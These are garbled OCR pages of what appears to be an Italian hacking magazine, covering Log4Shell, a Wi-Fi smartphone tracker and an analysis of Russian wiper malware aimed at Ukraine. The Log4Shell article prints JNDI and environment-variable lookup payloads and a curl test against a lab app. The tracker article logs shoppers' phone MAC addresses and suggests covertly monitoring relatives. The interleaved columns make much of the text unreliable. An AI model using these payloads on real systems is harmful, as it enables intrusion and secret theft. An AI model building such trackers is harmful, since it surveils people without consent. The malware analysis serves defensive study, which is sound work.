ESCAPE

l d a i l o
Per sequenza

sh e l
di escape si intende

ew
una serie di caratteri
che si utilizza, in una
stringa di testo, per far
capire all’interprete
Sh el l co ns en te a ch iunque di prendere
che quello che si sta
Il bug Log4 ina su cui è presente
scrivendo va inteso
nt ro ll o di un a m ac ch
il co
un applicativo Java
in senso letterale e non
_n
come un simbolo

N
speciale. Per esempio,
di solito \n indica un
ell’arco degli ultimi anni (DON’T) LOOKUP
invio a capo: se si
desidera che venga abbiamo assistito a una serie L’errore di fondo è in realtà molto
interpretato in senso di bug “famosi”, che hanno comune: la mancata validazione
lia

letterale, bisogna avuto un certo risalto anche dell’input dell’utente. Il problema, in

scrivere \\n, usando sulla stampa generalista e ai quali è stato questo caso, è dato da una caratteristica
quindi il simbolo assegnato un nome. Qualcuno ancora di Log4J: i lookup. Essi sono un
\ come carattere
si ricorda di Heartbleed o di Shellshock, meccanismo usato per sostituire parti di
di escape.
che hanno causato molta preoccupazione testo dentro le stringhe da loggare, e
ita

VARIABILI all’epoca della loro scoperta. Ma sono funzionano con il simbolo dollaro e le
D’AMBIENTE tutto sommato vulnerabilità facili da parentesi graffe. Per esempio, la stringa:
Le variabili d’ambiente contenere e correggere, ancora presenti
sono delle variabili
su alcuni sistemi non aggiornabili ma ${java:os}
gestite a livello
che difficilmente potrebbero essere
@

di sistema operativo,
tipicamente dalla shell, sfruttati da qualche malintenzionato viene sostituita con le informazioni sul
che possono cambiare grazie a una ridotta diffusione e a sistema operativo. Se come riga di log
a seconda del contesto strumenti di protezione come i firewall. scrivessimo:
in cui ci si trova Un bug di cui invece tutti ci ricorderemo
e sono accessibili
a lungo è Log4Shell, a causa della sua Host: ${java:os}; Tutto bene
dall’applicazione.
Vengono utilizzate diffusione e persistenza. In effetti, il
proprio per permettere software vulnerabile (Log4J) è un tool nel log otterremmo il testo:
all’applicazione gestito dalla Apache Foundation che è
di capire “dove” si molto diffuso: già soltanto i progetti della Host: Windows 10 10.0,
trova e quindi adattarsi stessa fondazione sono in buona parte architecture: amd64-64; Tutto bene
di conseguenza
basati su Java e su questa libreria.
(per esempio, capire
se stia girando su Inoltre, le vulnerabilità scoperte sono Chiaramente, questo è stato fatto
Windows o UNIX). diverse, tanto che riuscire a correggerle per comodità: è utile avere nei log
tutte ha richiesto più tempo del previsto. informazioni sull’ambiente, per capire

18
 VULNERABILITÀ
Una delle tante app
vulnerabili è Minecraft.

Siccome Log4J non verifica

il contenuto delle stringhe loggate,
finirebbe per inseguire il lookup
e andare a scaricare il file “exploit”.
Ma non finisce qui: se il file in
questione contiene codice Java
valido, questo verrà eseguito
figura #1

s
automaticamente. Si ottiene,
quindi, una ovvia esecuzione
subito come replicare la situazione raggiungere oggetti e file remoti. remota di codice semplicemente

ew
che ha dato origine all’errore, e Se un malintenzionato possiede fornendo del testo a
questo meccanismo permette di un server LDAP in cui pubblicare un’applicazione, tra l’altro con una
ottenere l’informazione senza un payload, può raggiungerlo così: stringa estremamente semplice.
doverci pensare troppo. Per
questo motivo si può fare accesso ldap://127.0.0.1:8080/exploit ENTITÀ DELLA VULNERABILITÀ
anche alle variabili d’ambiente: Per capire la pericolosità di questo
_n
La vulnerabilità nasce dal fatto che bug bisogna considerare un
${env:USERNAME} i percorsi JNDI possono essere dettaglio: non tutte le applicazioni
inseguiti da un lookup e un Java basate su Log4J sono
In effetti anche queste potrebbero malintenzionato potrebbe scrivere automaticamente vulnerabili, solo
essere informazioni sensibili, si sa un testo di questo tipo: quelle che loggano direttamente
lia

che a volte vengono memorizzate ${jndi:ldap://127.0.0.1:8080/ input dell’utente senza

delle password tra le variabili exploit}. preoccuparsi di sanificarlo con le
d’ambiente. Un malintenzionato
potrebbe inviare all’applicazione
(per esempio delle API Web) una Applicazione cavia
ita

stringa da loggare come: Si può testare una semplice applicazione vulnerabile d’esempio tramite
un’immagine docker appositamente realizzata:
User-Agent ${env:TEMPORARY_
SESSION_TOKEN} docker run -p 8080:8080 ghcr.io/christophetd/log4shell-
vulnerable-app
@

Così Log4J scriverebbe il token

Questa applicazione logga tramite Log4J tutte le intestazioni delle richieste
segreto sul disco, e in futuro HTTP che le arrivano, quindi si può provare in questo modo:
sarebbe possibile leggere il file
per recuperarlo. Però non è un curl 127.0.0.1:8080 -H ‘X-Api-Version:
problema così grave: in genere ${jndi:ldap://127.0.0.1/a}’
i log rimangono sulla macchina,
Appena la riga viene loggata, la Virtual Machine Java cercherà di caricare
quindi le informazioni non
il codice presente nel server LDAP su localhost (che per fortuna non esiste).
dovrebbero trapelare facilmente, Controllando l’output dell’applicazione si noterà l’errore:
non è semplice recuperare il file di
log. Il vero problema è un altro: Connection refused
Java Naming and Directory
Interface, anche abbreviato JNDI. perché ovviamente non c’è un server LDAP in ascolto. Se si sostituisse
È il meccanismo standard di Java quel percorso con uno realmente esistente, il codice Java caricato
sul server LDAP verrebbe eseguito.
per scrivere degli URL con cui

19
 HACKTUALITÀ
GLOSSARIO
corrette sequenze di escape per i simboli ovviamente, che quelle persone siano
speciali. Possiamo quindi dire che il vero sufficientemente esperte da non lasciar
DI BASE
problema di fondo sta nel fidarsi troppo infettare il proprio PC da qualche
LDAP delle librerie esistenti, senza prendere malware che potrebbe scansionare la
Si tratta di un precauzioni. A ogni modo, considerando rete alla ricerca di server vulnerabili. Del
protocollo per l’effettivo numero di applicazioni resto fare una scansione di questo tipo
l’accesso a directory vulnerabili, è chiaro che in tanti si siano su macchine pubbliche è estremamente
remote: permette
fidati di Log4J. Un grosso problema facile per un malintenzionato: basta
di condividere
credenziali, rubriche, è rappresentato dai vari progetti della connettersi a un server e inviare questa
o anche file. fondazione Apache, che ormai da anni stringa, se il target è predisposto per
Approssimando, colleziona progetti basati su Java, i quali loggare le varie richieste che arrivano

s
è sostanzialmente sono estremamente diffusi su desktop l’attacco avrà automaticamente
un database leggero, e server di tutto il mondo. In linea di successo. E se l’attacco ha successo, il
quindi è possibile
massima si possono poi considerare criminale può fare tutto ciò che vuole,

ew
usarlo per fornire
in modo sicuro relativamente sicuri software che non perché può facilmente ottenere un
qualsiasi tipo sono aperti al pubblico, ma magari terminale remoto ed entrare nella
di dato possa risultano disponibili a un numero macchina con i privilegi dell’utente che
essere strutturato. ristretto di persone (per esempio eseguiva l’applicazione Java (che spesso
solo in una rete locale). A condizione, ma non sempre, per fortuna, è root).
_n
figura #2
lia

Appena l’app
segue
il lookup
malevolo, il
ita

pirata ottiene
una reverse
shell sul
sistema
vittima.
@

La soluzione
Correggere il bug è un’operazione piuttosto rollback alla versione 1 di Log4J, che non è vulnerabile,
complessa: sono state apportate delle modifiche alle ma questo potrebbe comportare modifiche più
versioni vulnerabili di Log4J (fino alla 2.16), rilasciando impegnative sulle app e non è detto che si risparmi
la 2.17. Ma, proprio mentre scriviamo, si è scoperto davvero del tempo. Oltretutto, c’è l’ovvio problema
che anche nella nuova 2.17 è presente una che alcune applicazioni, semplicemente, non potranno
vulnerabilità, e si attende a breve il rilascio di essere aggiornate: applicazioni ormai non più
un’ulteriore patch, sperando che sia definitiva. A quel mantenute, oppure installate in sistemi complessi che
punto, gli sviluppatori di tutte le app che dipendono non possono facilmente essere aggiornati. Pensiamo
da Log4J dovranno aggiornare le proprie dipendenze a software medicali, spesso progettati per sistemi
e rilasciare una nuova versione dell’applicazione. operativi molto vecchi e mai aggiornati perché le loro
E poi chi amministra i sistemi dovrà installare le nuove licenze costano troppo per le tasche degli utilizzatori.
versioni sui propri server e desktop. Una strada Questa vulnerabilità è qualcosa con cui dovremo,
potenzialmente percorribile da subito può essere il probabilmente, fare i conti per molto tempo.

20
 s
ew
_n
lia

SICUREZZA
ita

Sorveglianza Wi-Fi
@

Monitorati e schedati
Seconda parte del progetto di creazione di un tracciatore per smartphone ............... 22

wiper Nuovi malware da cyberguerra

Analisi dettagliata dei tool distruttivi usati dalla Russia per attaccare l’Ucraina......... 26

2fa La doppia autenticazione e bacata

Un attacco che sta colpendo molti utenti in Rete e che causa danni gravi.................. 34

pentesting Attacco a dizionario!

Progettiamo un dictionary attack calibrato su una Web application reale!.................. 36
 SICUREZZA

MON I T O R AT I

s
E SCH E D A T I !
ew Seconda parte
_n
o il p ro g e tt o ch e ci porterà ad avere
Terminiam p ersonalizzabile
re d i sm a rt p h o n e
un tracciato d ic e sc ri tt o in C e in BASH
o’ d i co
usando un SoC e un p
lia

N
ello scorso numero LO SCRIPT BASE la parte di scansione
abbiamo iniziato Ripartiamo dallo script presente modificando il file /etc/rc.local:
un progetto che, all’URL https://pastebin. agendo da root, apritelo con il
ita

sfruttando il Wi-Fi, com/0B7Gpjnt. In fondo a questo vostro editor di testi preferito

ha lo scopo di individuare codice ci sono degli script, come e aggiungete prima della scritta
la posizione dei cellulari dei sposta_e_controlla_dati.sh exit 0 il comando
clienti all’interno di un negozio. e altri quattro, che si occupano
In queste pagine concludiamo di formattare i dati; li potete
@

./scansiona.sh wlan0 120 &

tale progetto. Se vi siete persi scaricare da qui: https://bit.
la prima parte, potete acquistare ly/3JSMwAZ. A ogni modo, anche In questo modo il comando
l’arretrato del numero 261 senza di essi lo script Bash andrà in esecuzione a ogni
di HJ dall’URL https://sprea.it/ è in grado di collezionare i dati, riavvio, automatizzando le
riviste/139, in formato cartaceo per cui potrete elaborarli come operazioni. Leggendo il file Bash,
oppure in digitale. meglio vi aggrada. Concludiamo vi accorgerete che i dati vengono
salvati in RAM e poi spostati
Anche i moderni display pubblicitari sulla microSD una volta ogni ora.
Questa scelta è frutto di un
sono in grado di tracciare gli compromesso: da una parte,
smartphone, oltre che acquisire il desiderio di non “bruciare” la
microSD con eccessive scritture
alcuni dati biometrici come età (una ogni due minuti, cioè 30
e sesso di chi passa loro davanti all’ora) e dall’altra la giusta

22
 SORVEGLIANZA WI-FI
necessità di preservare in dati registratore, segnandoci inoltre • generazione dei dati annuali
in caso di uno spegnimento non ora e minuti di quando sono singoli per ogni periferica
pianificato della scheda ARM. state rilevate la prima e l’ultima monitorata;
Lo svantaggio è che, in caso di volta nell’arco della giornata. • generazione dei dati mensili
spegnimento non programmato, A cosa serve un sistema del accorpati su base annua.
potreste perdere fino a 29 genere? Per esempio, potrebbe Questo metodo apparentemente
registrazioni, un danno essere usato per controllare “frammentato” è in realtà
considerato tutto sommato se e per quanto tempo nostra il migliore ed è alla base
accettabile in fase di suocera è rimasta a casa nostra della filosofia che ha fatto
pianificazione delle specifiche mentre noi eravamo via, o per grandi i sistemi UNIX, cioè

s
di progetto. Dato che potrete monitorare quanto tempo nostro la metodologia KISS (Keep it
accedere ai sorgenti, sarà un figlio è stato attaccato a YouTube simple, stupid!). In altre parole,
gioco da ragazzi individuare durante le ore dedicate allo spezzare un’attività complessa

ew
e modificare il parametro “59” studio… Insomma, lo strumento in sotto attività più semplici: ogni
(che indica il tempo in minuti che c’è, sta alla fantasia di ognuno programma deve fare una cosa
deve trascorrere tra un backup immaginare come meglio sola e nel migliore dei modi.
su microSD e il successivo), utilizzarlo. Nei file scaricabili I vantaggi principali sono che:
alzandolo o abbassandolo a osserverete che ci sono tre script • due programmi “corti” sono
seconda delle vostre necessità. Bash che lanciano a loro volta tre manutenibili e ottimizzabili
_n
Scaricate i sorgenti dai link eseguibili e, successivamente, un con maggior facilità rispetto
indicati prima e spostateli nella eseguibile finale di “conclusione”. a un unico programma “lungo”
directory /root che sarà la vostra Anche se a una prima occhiata che racchiude quelle due
directory di lavoro: i vari file potrebbe apparire un metodo funzioni svolte dai due
nome.c andranno compilati con confusionario e complesso, programmi “corti”;
lia

questo sistema ci permette • la modularità del software

gcc nome.c -o nome di isolare i quattro passi logici: facilita l’aggiunta di nuove
• generazione degli indici funzioni scrivendo un
in quanto verranno eseguiti di lavoro; programmino in più
all’interno degli script Bash che • generazione dei dati e senza andare a disturbare
ita

saranno a loro volta richiamati mensili globali; i programmi già fatti.

dallo script scansiona.sh che
abbiamo visto nella puntata
precedente. Abbiate l’accortezza
di rendere eseguibili i file Bash
figura #1
@

con il comando

chmod +x *.sh

STRUTTURA MODULARE
Bene, abbiamo raccolto i dati,
ma ora la domanda è: “cosa ce
ne facciamo?”. Risposta: “quello
che più ci aggrada!”. Nel nostro
caso, abbiamo deciso di limitarci
a registrare, nella singola
giornata, per quanto tempo le
periferiche “bersaglio” si trovano I dati rilevati su base giornaliera: i link permettono
nel raggio d’azione del nostro di accedere ai dati dei mesi precedenti, qualora presenti.

23
 SICUREZZA
generato volutamente non c’è, non si può rompere”.
un’eccessiva massa di dati Per recuperare i file HTML
figura #2 da elaborare e le due versioni necessari (con le istruzioni),
– Bash e C – necessitavano visitate https://bit.ly/3DqxHTW.
rispettivamente di 143 minuti
e di 12 secondi per completare LA GESTIONE WEB
l’elaborazione. Siccome la I file che avete scaricato
velocità di generazione dei dati si occupano di rendere fruibili
finali era un imperativo, pena i dati via Web: questi file
l’inutilità della visualizzazione andranno spostati nella

s
dinamica dei dati, il passaggio directory /var/www/html.
al C si è dimostrato obbligato. I dati sono generati e posizionati
Nei sorgenti C abbiamo in RAM per non usurare la

ew
comunque mantenuto alcune microSD, ragion per cui occorre
istruzioni Bash perché abbiamo creare il link simbolico tramite
riscontrato che rifarle i comandi:
direttamente in C non apportava
benefici in termini di velocità cd /var/www/html
a fronte di un’inutile ln -s /dev/shm dati
_n
complicazione del codice.
I programmi che generano Come impostato nella puntata
i risultati visibili provvedono precedente, l’apparato ha
a realizzarne due versioni: in indirizzo di rete 192.168.1.210,
formato txt e in formato HTML. per cui dal client puntate
lia

In questo modo è garantita la il vostro browser a tale indirizzo

flessibilità di fruizione: potrete e vi troverete di fronte a uno
I link ipertestuali della sia acquisire i dati come testo in scarno ma essenziale menu.
pagina mensile un foglio elettronico, sia vederli La voce “aiuto” vi fornirà delle
permettono di accedere direttamente tramite una pagina sommarie istruzioni, la voce
ita

ai dati aggregati su base Web, per un’immediata “scarica dati” vi permetterà

annua della singola comprensione della situazione. di recuperare un file Zip
periferica intercettata. Inoltre le pagine sono collegate contenente tutti i dati registrati.
le une alle altre tramite link Infine, la voce centrale “mensile”
DA BASH A C ipertestuali, in modo che vi permetterà di accedere ai dati
@

Per quanto ci riguarda, abbiamo l’utente possa scorrere consultabili a video. Se avrete
proceduto scrivendo la prima all’interno dei vari blocchi registrato più di un mese,
versione del software in Bash, di informazione. La scelta il sistema vi proporrà
per una veloce realizzazione dell’HTML puro può sembrare automaticamente dei link per
e verifica. Poi, una volta che desueta e rimanda con la scorrere avanti e indietro lungo
la funzione svolta è risultata memoria all’era del “Web 1.0”, i mesi. Inoltre ogni MAC Address
corretta, abbiamo tradotto ma ancora una volta ricordiamo è a sua volta un link ipertestuale
il software in C per ottimizzare la filosofia KISS: delle pagine che vi permetterà di accedere
le prestazioni, dato che abbiamo HTML statiche sono la cosa più al dettaglio, raggruppato su
riscontrato che i tempi veloce da erogare da parte di un base annuale, del singolo nodo
di elaborazione crescevano server Web e, inoltre, l’assenza registrato. I dati scaricati
esponenzialmente al crescere di database facilita la contengono sia la versione
dei dati da elaborare. Per manutenzione del server per HTML che quella TXT, per cui
stressare il software abbiamo il semplice fatto che “quello che non avrete problemi a elaborarli

24
 SORVEGLIANZA WI-FI
IL GRANDE FRATELLO È REALTÀ
Il film 1984 rappresenta una realtà distopica nella ecc. Qui trovate i dati: https://en.wikipedia.org/wiki/
quale ogni cittadino viene spiato dal proprio governo Mass_surveillance_in_China. Ma nel “democratico”
dittatoriale… Beh, benvenuti nel terzo millennio! Occidente? Beh, anche peggio. Gli Stati Uniti hanno
La Cina usa massivamente telecamere per tracciare cominciato, fin dal 1955, non solo a ficcanasare negli
i propri cittadini che vengono riconosciuti tramite affari dei propri cittadini, ma anche in quelli del resto
identificazione facciale grazie ad algoritmi che del mondo grazie al programma Echelon.
assegnano a ogni persona un ‘punteggio sociale’
in base a come egli si comporta. Scendendo nella https://en.wikipedia.org/wiki/Mass_surveillance_in_

s
graduatoria, man mano la persona viene privata di the_United_States
diritti come prendere mezzi pubblici, avere la patente, https://en.wikipedia.org/wiki/ECHELON

ew
tramite programmi C/Bash portati al sito https://dnschecker. identificare il modello, oltre che
o a importarli nel vostro foglio org: inserendo l’indirizzo MAC la marca! Ci preme far presente
elettronico preferito per del nostro cellulare siamo riusciti che non stiamo violando
ulteriori elaborazioni. a ricavare interessanti dettagli. nessuna norma: questi database
_n
In poche parole, i primi 3 byte, sono su Internet, liberamente
COME ESPANDERE nel nostro caso 20:64:32, accessibili e scaricabili in formato
IL SOFTWARE lo identificano immancabilmente testo. Una volta acquisiti,
Con poco sforzo potete quindi come un Samsung. E siccome le potreste modificare il software
raccogliere molti dati grezzi; ultime tre cifre sono un numero per aggiungere un campo
lia

il modo in cui “macinarli” per progressivo che va da 00:00:00 indicante marca e modello
ricavarne le informazioni che vi a FF:FF:FF, più è piccolo tale del cellulare “sniffato”… ma non
interessano è solo una questione numero e più vecchio risulta vogliamo farvi penare troppo
di scelta. Invitiamo alla lettura essere il cellulare: con un po’ di e vi passiamo direttamente il link
della pagina man dei vari pratica e incrociando abbastanza http://standards-oui.ieee.org/
ita

programmi della suite aircrack- dati, si può addirittura oui/oui.txt.

ng (airodump-ng in particolare)
perché il vostro cellulare è un
chiacchierone e airodump-ng è
pronto a registrare ogni dettaglio
figura #3
@

che, seppur apparentemente

insignificante, potrebbe dire
molto a un agguerrito
“curiosone” dell’etere.
Per esempio, sapete che i MAC
Address sono rilasciati “a blocchi”
da un ente preposto a tutte le
industrie che ne fanno richiesta?
Per saperne di più della logica
alla base dei MAC Address,
consultate la pagina https://it.
wikipedia.org/wiki/Indirizzo_
MAC. Una rapida ricerca per Niente di più facile: un click su “Scarica dati” e recuperiamo
“mac address lookup” ci ha il file compresso contenente tutti i dati accumulati!

25
 SICUREZZA

s
ew
_n
NUOVI MALWARE
lia

da cyberguerra
ita

Analisi dettagliata dei tool distruttivi utilizzati dalla Russia

per attaccare l’Ucraina e comprometterne le infrastrutture

L
@

a guerra della Russia principalmente utilizzati I primi due sono stati diffusi nei
contro l’Ucraina passerà dalla Russia per distruggere mesi precedenti all’invasione,
tristemente alla storia le infrastrutture ucraine: gli altri due a guerra cinetica
anche per l’utilizzo WhisperGate, già in corso. In queste pagine
di modalità di cyberwarfare FoxBlade/SonicVote, cercheremo di ricostruire quello
che hanno visto l’impiego di Laisanraw e CaddyWiper. che è successo in questi mesi.
malware distruttivi prima ancora
della fase di invasione vera e Il centro protezione Microsoft (MSTIC)
propria avvenuta il 24 febbraio
2022 e che sono poi continuati ha scoperto a Gennaio il malware
(con diverse varianti) durante le WhisperGate per Windows.
successive settimane di assedio.
Al momento in cui scriviamo
Per dettagli visitate il sito
sono quattro i malware bit.ly/malwaretargetingukrainian

26
 WIPER
WHISPERGATE: UN MESE documenti, database ecc.), e che HermeticWiper, a causa del suo
PRIMA DELL’INVASIONE sono memorizzati in specifiche stile non sofisticato e della scarsa
WhisperGate è un directory, sovrascrivendoli con implementazione, e come payload
malware wiper byte 0xCC (per una dimensione aggiuntivo per aumentare
per Windows totale del file di 1 MB) [figura #2]. l’efficacia di quest’ultimo.
che agisce Danneggiati i file, il malware Dall’analisi di HermeticRansom
generalmente li rinomina con un’estensione di risulta infatti che non è stato
in due fasi. Nella 4 byte apparentemente casuale. usato alcun tipo di offuscamento
prima fase un bootloader, spesso Una delle sue particolarità è che il e che le sue semplici
nominato stage1.exe (che risiede bootloader accede al disco tramite funzionalità, nonché il metodo

s
in varie directory, tra le quali BIOS interrupt 13H in modalità di cifratura particolarmente
C:\PerfLogs, C:\ProgramData, LBA e sovrascrive ogni 199esimo inefficace, suggeriscano sia stato
C:\ e C:\temp), sovrascrive il settore fino al raggiungimento creato in un breve lasso di

ew
Master Boot Record (MBR) del della fine del disco. Danneggiato tempo. Dopo l’esecuzione,
sistema vittima con una falsa il disco, il malware passa a HermeticRansom crea un ID che
richiesta di riscatto [figura #1]. sovrascrivere il disco successivo viene utilizzato come chiave.
Il riscatto è soltanto un diversivo presente nell’elenco delle unità Quindi identifica i dischi presenti
(il suo pagamento non aiuta rilevate. È bene precisare che sul sistema infetto e raccoglie
infatti a recuperare i dati persi) l’analisi di questo malware è un elenco di directory e file,
_n
e lo spegnimento del sistema ancora in corso e al momento in escluse le cartelle Windows
infetto distrugge definitivamente cui scriviamo non sono disponibili e Programmi. Successivamente
l’host eseguendo il malware che tool di decrittaggio/recupero dati. crea il file read_me.html nella
danneggia i file in esso archiviati. cartella Desktop dell’utente,
Nella seconda fase un SONICVOTE E FOXBLADE: che contiene l’ID della vittima
lia

downloader (denominato stage2. POCHI GIORNI PRIMA e gli indirizzi di posta elettronica
exe) scarica il malware dannoso DELL’ATTACCO sul dominio ProtonMail
da un canale Discord, tramite Per gli esperti, per contattare l’aggressore.
un link codificato nel downloader SonicVote (alias L’inefficacia del flusso di lavoro
stesso, e lo esegue in memoria. HermeticRansom) della crittografia di questo
ita

è un ransomware malware consiste nel fatto che

I FILE PRESI DI MIRA scritto in Go per ogni file crittografato crea
Il wiper corrompe così tutti i file (versione 1.10.1) delle copie del sample iniziale
che hanno determinate estensioni utilizzato per distogliere e le esegue come processi
(immagini, archivi compressi, l’attenzione dall’attacco di separati [figura#3].
@

figura #1 figura #2

La falsa richiesta di riscatto di WhisperGate. Elenco delle estensioni dei file danneggiate da wiper di
Fonte: CrowdStrike WhisperGate. Fonte: Microsoft

27
 SICUREZZA
figura #3 FOXBLADE: IL MALWARE
CHE DISTRUGGE L’MBR
FoxBlade (alias HermeticWiper)
è invece un malware che
distrugge il Master Boot Record
(MBR) e cancella i dati archiviati
nei dischi del sistema vittima.
Uno dei tanti nomi che sono
stati attribuiti a questo wiper
deriva dal fatto che il suo
L’inefficacia di HermeticRansom consiste nel fatto che ogni volta

s
eseguibile è stato firmato
che cripta un file crea una sua copia nella directory corrente.
Fonte Kaspersky: https:// securelist.com/ utilizzando un certificato digitale
elections-goransom-and-hermeticwiper-attack/105960/ valido rilasciato a “Hermetica

ew
Digital Ltd”, una piccola azienda
videoludica di Cipro ignara,
ALGORITMO DI e probabilmente da un hacker però, del furto d’identità [figura
CRITTOGRAFIA UTILIZZATO non esperto in GoLang), ogni #5]. Il periodo di inattività di
I file vengono crittografati volta che il binario e i suoi questo malware (dall’infezione
utilizzando l’algoritmo AES cloni vengono eseguiti, viene all’esecuzione del payload)
_n
in modalità Galois/Counter generata sempre la stessa può essere configurato da riga
(GCM). La chiave AES a 32 byte, chiave AES. Tutti i file di comando tramite due
generata tramite una funzione crittografati sull’host usano parametri facoltativi. Se nulla
del pacchetto Go, viene poi quindi la medesima chiave di viene specificato, le impostazioni
crittografata con RSA-OAEP cifratura e la sua conoscenza di default sono di 20 minuti
lia

(https://bit.ly/hj_OAEP) consente pertanto di decrittare per dare inizio alla distruzione

utilizzando una chiave pubblica i file. In merito alle soluzioni del sistema e di 35 minuti per
RSA che è hardcoded come disponibili per la decrittografia il riavvio dell’host. Una volta
blob base64 (quindi facilmente dei dati compromessi da eseguito, utilizzando le API di
decrittabile). A ogni file HermeticRansom rimandiamo Windows il malware si concede
ita

crittografato, HermeticRansom allo specifico box i privilegi necessari per

aggiunge l'estensione di approfondimento. compiere le sue azioni agendo
.encryptedJB e l’indirizzo email
[vote2024forjb@protonmail[.]
com] subito dopo il nome figura #4
@

originale del file. Considerato

La nota creata da
l'alto contenuto politico
HermeticRansom contiene
rilevato nel codice del malware costrutti grammaticali che
(strutture e metodi fanno suggeriscono sia stata scritta da
riferimento alle elezioni chi non ha un inglese fluente o
presidenziali statunitensi), che possa non essere stata
si presume che la sigla "JB" revisionata per mancanza di
tempo. Da notare i riferimenti alle
stia a indicare il presidente
elezioni americane, di cui l’intero
USA, Joseph Biden. binario è pieno zeppo. Fonte
A causa di un ulteriore errore CrowdStrike: https://www.
di implementazione (che crowdstrike.com/blog/
conferma l’ipotesi che how-to-decrypt-the-partyticket-
il malware sia stato scritto ransomware-targeting-ukraine/
in breve tempo [figura #4]

28
 WIPER
su SeShutdownPrivilege (che
fornisce la possibilità di
figura #5 una serie di thread aggiuntivi che
si occupano di gestire il riavvio
arrestare un sistema locale), del sistema e di nascondere le
SeBackupPrivilege (che offre tracce del malware disabilitando
il controllo dell'accesso le funzionalità dell’interfaccia
in lettura a qualsiasi file) che potrebbero allertare l’utente
e SeLoadDriverPrivilege (che sulla presenza di attività sospette
dà la possibilità di caricare e (per disabilitare i colori per i file
scaricare un driver di periferica). NTFS compressi e crittografati
imposta la chiave di registro

s
UN SAMPLE HKU\Software\Microsoft\
DI HERMETICWIPER Windows\CurrentVersion\
Ha tipicamente una dimensione Explorer\Advanced\

ew
di 114 KB, di cui circa il 70% ShowCompColor sul valore 0,
è composto da risorse. Tra La firma digitale di HermeticWiper. mentre per disabilitare le
le risorse binarie del malware Fonte IBM: https:// informazioni pop-up su cartelle
sono infatti presenti dei driver securityintelligence.com/posts/ ed elementi del desktop imposta
di gestione delle partizioni new-destructive-malware-cyber- a 0 la chiave HKU\Software\
attacks-ukraine
a 32 e 64 bit, compressi con Microsoft\Windows\
_n
l'algoritmo Lempel-Ziv e firmati CurrentVersion\Explorer\
da un certificato legittimo sul valore 0. Per caricare il Advanced\ShowInfoTip). Infine,
rilasciato alla software house driver, il malware crea un nuovo il malware inizia la sua routine
EaseUS. Si tratta quindi di un servizio utilizzando le API e lo distruttiva su ciascun disco fisico
abuso del driver legittimo richiama in un ciclo di cinque rilevato sovrascrivendo i file,
lia

empntdrv.sys (EaseUS Partition volte consecutive per garantirne distruggendo le tabelle delle
Master NT Driver), che fa parte il caricamento. Fatto ciò, partizioni e corrompendo i primi
del software EaseUs Partition il servizio viene rimosso 512 byte, ossia il Master Boot
Master [figura #6]. In base alla eliminando l'intera chiave Record (MBR).
versione di Windows infettata, del registro di sistema.
ita

il malware estrae il driver Caricato il driver, il malware HERMETICWIPER

corrispondente e lo scrive nella disabilita il servizio di Copia DISTINGUE FAT O NTFS
cartella C:\Windows\System32\ Shadow del Volume (VSS) Nel caso di una partizione FAT,
drivers rinominandolo con un di Windows per impedire il malware chiama direttamente
nome composto da 4 caratteri l’uso delle copie di backup le API di Windows necessarie ad
@

generato in modo pseudo- necessarie al ripristino del acquisire un provider di servizi

casuale utilizzando l’ID processo sistema. Successivamente crea di crittografia (CSP) usato poi
del wiper. Questo file viene poi
decompresso con LZCopy
in un nuovo file con estensione figura #6
.sys (per esempio bpdr.sys).
Prima di caricare il driver, però,
il malware disabilita il dump
di arresto anomalo di Windows
modificando la chiave di registro
HKLM\SYSTEM\ Le risorse di HermeticWiper contengono i driver a 32 e 64 bit
di EaseUS Partition Manager per Windows XP e per Windows 7
CurrentControlSet\Control\
e superiori. Fonte SentinelLabs: https://www.sentinelone.com/labs/
CrashControl\ hermetic-wiper-ukraine-under-attack/
CrashDumpEnabled

29
 SICUREZZA
COME RECUPERAR E I FILE IN CASO
ICRANSOM In alcuni scenari è emerso
DI ATTACCO HERMET che, oltre al diversivo creato da
HermeticRansom per coprire
Gli errori di implementazione di HermeticRansom nella generazione della le azioni del malware distruttivo
chiave AES, già discussi nel corso di questo articolo, rendono possibile HermeticWiper,
il recupero dei dati crittografati da questo ransomware. Ciò ha permesso
gli attacchi hanno sfruttato
ad alcune società di sicurezza di rilasciare dei tool di decrittazione.
CrowdStrike, ad esempio, ha caricato su GitHub (https://bit.ly/ anche un worm (ribattezzato
partyticketdecriptor) uno script in Go (testato con la versione 1.16.6 di HermeticWizard) utilizzato
Go) per decrittografare i file compromessi da HermeticRansom (che la per la propagazione
società ha ribattezzato “PartyTicket”). Può essere compilato come del malware sulla rete
eseguibile o eseguito da una shell aperta nella directory dello script con

s
locale compromessa.
il comando go run PartyDecrypt.go. Per decrittografare un file occorre
passarlo come argomento tramite il flag -p e l’output decrittografato verrà
LASAINRAW: IL MALWARE

ew
poi salvato nella stessa directory come decrypted.bin. Il suo vantaggio,
essendo scritto in Go, è che può essere eseguito su GNU/Linux, Windows DELL’ATTACCO
e Mac (https://bit.ly/goperwindows). Più user friendly è, invece, Lasainraw (alias
l’approccio usato da Avast, che ha rilasciato un tool di decrittografia IsaacWiper) è un
basato su una comoda procedura guidata, specifico per Windows
attacco malware
(https://bit.ly/decryptorhermeticransom). Il primo step chiede
di selezionare i file e le posizioni da scansionare (siano esse unità
distruttivo
apparso nella
_n
di rete o singole cartelle); le unità locali vengono invece rilevate
automaticamente e aggiunte all’elenco. Il tool crea di default una copia telemetria
di backup dei file crittografati prima di tentarne il recupero (che non può di ESET (https://www.
essere garantito al 100%), così da evitare la perdita dei dati. welivesecurity.com/2022/03/01/
Opzione, questa, che può essere deselezionata (se si è già provveduto
isaacwiper-hermeticwizard-
a un backup) per velocizzare l’operazione. Si ricorda che è bene eseguire
il tool con i privilegi di amministratore per consentire al motore wiper-worm-targeting-ukraine/)
lia

di scansione di trovare tutti i file crittografati nel PC. e sul quale il Microsoft Security
Response Center (MSRC) sta
Il decryptor per continuando a indagare.
Il 25 febbraio è stata osservata
HermeticRansom
anche una nuova versione
ita

rilasciato da Avast
di IsaacWiper che include
rende la procedura
i registri di debug. Ciò starebbe
di recupero dati
a indicare che gli aggressori
su Windows non sono stati in grado di
estremamente facile. cancellare alcuni dei sistemi
@

presi di mira e hanno quindi

deciso di registrare dei log
(memorizzati nel file
C:\ProgramData\log.txt) per
cercare di capire in quali punti
